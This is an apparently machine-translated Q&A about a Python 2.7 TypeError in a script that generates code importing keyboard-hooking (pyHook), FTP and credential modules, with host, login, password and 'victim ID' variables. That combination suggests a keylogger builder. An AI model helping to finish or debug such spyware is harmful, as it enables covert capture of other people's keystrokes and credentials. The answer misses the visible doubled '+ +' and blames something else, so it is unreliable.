运行脚本时出现以下错误:
Traceback (most recent call last):
File "C:/Python27/PyInstaller-2.1/ketlc.py", line 354, in <module>
startfun2(lk)
File "C:/Python27/PyInstaller-2.1/ketlc.py", line 63, in startfun2
vir_myurl =''' + '\'' + vi_myurl + '\'' + '''
TypeError: bad operand type for unary +: 'str'
这是代码中似乎造成麻烦的部分:
a_code = '''import os, time, webbrowser, pyHook, pythoncom, sys, logging, wget
import getpass, ctypes, random, inspect, autopy, ftplib, urllib
vi_host =''' + '\'' + vi_host + '\'' + '''
vi_logi =''' + '\'' + vi_logi + '\'' + '''
vi_pasi =''' + '\'' + vi_pasi + + '\'' + '''
vi_id =''' + '\'' + vi_vicid + '\'' + '''
vi_myurl =''' + '\'' + vi_myurl + '\'' + '''
nisa = 0 '''
我发现它没有任何问题! 我该怎么做才能解决它?
答案 0 :(得分:0)
检查引用计数和反斜杠。
File "C:/Python27/PyInstaller-2.1/ketlc.py", line 63, in startfun2
vir_myurl =''' + '\'' + vi_myurl + '\'' + '''
您使用的是字符串 vi_myurl
,而不是变量 vi_myurl
。如果你想要那些反斜杠,他们还需要使用额外的反斜杠进行转义。
如上所述,语法突出显示非常有助于发现这些错误。